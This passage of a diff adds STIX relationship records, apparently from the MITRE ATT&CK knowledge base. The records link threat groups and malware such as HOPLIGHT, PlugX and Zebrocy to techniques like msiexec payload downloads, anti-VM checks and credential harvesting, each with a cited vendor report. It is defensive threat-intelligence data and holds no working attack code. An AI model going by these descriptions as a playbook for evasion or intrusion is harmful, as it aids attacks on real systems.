activities.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18T20:13:56.028Z", + "id": "relationship--70a17629-6b01-4764-932b-8be576270329", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "modified": "2019-04-18T20:19:49.320Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used msiexec to download and execute malicious installer files over HTTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-18T20:25:31.123Z", + "id": "relationship--c551c942-a191-4fe9-81a3-cc795d7dea38", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.662Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) decodes an embedded executable using base64 and decompresses it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T12:37:34.734Z", + "id": "relationship--f304b74c-85c7-4bd6-85bc-bec918a4fb7e", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses regsvr32.exe to run a .sct file for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T12:37:34.748Z", + "id": "relationship--6246955e-05ae-4bd8-8ac7-c02447634486", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.443Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "description": "[Duqu](https://attack.mitre.org/software/S0038) has used msiexec to execute malicious Windows Installer packages. Additionally, a PROPERTY=VALUE pair containing a 56-bit encryption key has been used to decrypt the main payload from the installer packages.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T13:18:41.680Z", + "id": "relationship--16ad2735-61b3-4cb4-8f23-439df70715c8", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.312Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Duqu 2.0", + "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.", + "url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "One variant of [Zebrocy](https://attack.mitre.org/software/S0251) uses WMI queries to gather information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T13:42:46.179Z", + "id": "relationship--16e1d79d-1eb9-4ce7-a21e-115ce2a414f1", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.076Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251)'s Delphi variant was packed with UPX.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T13:42:46.194Z", + "id": "relationship--895a3c63-26d1-4846-8b8d-8f6b2c266910", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:33.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used weaponized Microsoft Word documents abusing the remote template function to retrieve a malicious macro.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T13:58:34.860Z", + "id": "relationship--73321011-c231-402e-a6bb-b9fd6cf6b658", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.701Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module to check if its running on a virtual machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T14:04:47.199Z", + "id": "relationship--88587bdd-ea5a-4d80-af9f-cc900c5705e3", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:48.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) performs several anti-VM and sandbox checks on the victim's machine. One technique the group has used was to perform a WMI query SELECT * FROM MSAcpi_ThermalZoneTemperature to check the temperature to see if it\u2019s running in a virtual environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T14:09:25.435Z", + "id": "relationship--6a93c25c-c9cb-4cd9-a36b-1f2353e91e32", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.557Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses WMI to check the BIOS and manufacturer information for strings like \"VMWare\", \"Virtual\", and \"XEN\" and another WMI request to get the current temperature of the hardware to determine if it's a virtual machine environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T14:16:54.989Z", + "id": "relationship--59a6a413-1f3f-44bd-8b66-5685a1e8e6df", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.322Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) attempts to detect if it is being run in a Virtual Machine (VM) using a WMI query for disk drive name, BIOS, and motherboard information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T14:37:04.148Z", + "id": "relationship--5ffaf382-3e91-409b-932f-24d107c59308", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[yty](https://attack.mitre.org/software/S0248) has some basic anti-sandbox detection that tries to detect Virtual PC, Sandboxie, and VMware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T14:43:17.603Z", + "id": "relationship--4f644120-7b96-4234-b81a-3160b34bca87", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "modified": "2019-04-25T00:09:23.253Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[PlugX](https://attack.mitre.org/software/S0013) checks if VMware tools is running in the background by searching for any process named \"vmtoolsd\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:08:15.767Z", + "id": "relationship--86b00142-a259-4237-b1a8-a8183d581b54", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Idrizovic, E. (2017, June 27). Paranoid PlugX. Retrieved April 19, 2019.", + "source_name": "Unit42 PlugX June 2017", + "url": "https://unit42.paloaltonetworks.com/unit42-paranoid-plugx/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[UBoatRAT](https://attack.mitre.org/software/S0333) checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:10:04.322Z", + "id": "relationship--750c8d62-74f3-4566-95fc-97f1685c9ca0", + "source_ref": "malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f", + "modified": "2019-04-19T15:10:04.322Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto UBoatRAT Nov 2017", + "description": "Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) scans processes to perform anti-VM checks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:17:17.561Z", + "id": "relationship--4929677b-3ce9-4065-9837-cfaa0cad8c89", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "modified": "2019-06-24T19:07:12.660Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) probes the system to check for sandbox/virtualized environments.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:28:04.404Z", + "id": "relationship--2af8a4f4-fcac-4081-86f9-ba74140580dc", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-10-15T19:50:21.371Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) can launch cmd.exe to execute commands on the system.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.725Z", + "id": "relationship--6cd1da58-6532-4800-816c-d1a74d586cdc", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified the firewall using [netsh](https://attack.mitre.org/software/S0108).\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.737Z", + "id": "relationship--d03e6e8b-bc2e-4c7b-8cde-58987659fbbb", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.333Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used svchost.exe to execute a malicious DLL .", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.746Z", + "id": "relationship--8eed7d01-46dc-4b25-a42d-bd9afcb84963", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.353Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used WMI to recompile the Managed Object Format (MOF) files in the WMI repository.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.760Z", + "id": "relationship--b55a3ac1-bb12-4507-a323-221b893df51b", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.354Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the capability to harvest credentials and passwords.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.771Z", + "id": "relationship--6c7c4191-2d75-4ce8-b937-b9abb77d7b5b", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.352Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed loading several APIs associated with Pass the Hash.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.773Z", + "id": "relationship--4973496a-2a49-4428-b2db-0629a97df9d3", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.392Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has used uncommon TCP \"high port\" to \"high port\" communication.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.791Z", + "id": "relationship--baf88ff5-553b-490e-abbc-ea3853f3f633", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.389Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has connected outbound over TCP port 443.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.803Z", + "id": "relationship--388bfdeb-5871-4f2a-9bbc-354de06251a4", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has utilized Zlib compression to obfuscate the communications payload.\t\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.805Z", + "id": "relationship--74499e24-ecca-46bb-87fb-e8beb25f1c11", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.437Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has the ability to connect to a remote host in order to upload and download files.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.819Z", + "id": "relationship--b4349e95-eeff-4784-8a7d-2c6d60a734dd", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.432Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has modified Managed Object Format (MOF) files within the Registry to run specific commands and create persistence on the system.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.821Z", + "id": "relationship--0cf14628-b4c0-470a-9059-43fc562717d8", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.438Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed collecting victim machine information like OS version, drivers, volume information and more.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.829Z", + "id": "relationship--7aeee346-4272-45c4-b351-1cf4ac98a15d", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.468Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has been observed collecting system time from victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.831Z", + "id": "relationship--d060e004-9eb7-425e-924c-0555fa80e083", + "source_ref": "malware--454fe82d-6fd2-4ac6-91ab-28a33fe01369", + "modified": "2019-04-22T19:41:53.470Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[HOPLIGHT](https://attack.mitre.org/software/S0376) has injected into running processes.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-19T15:30:36.833Z", + "id": 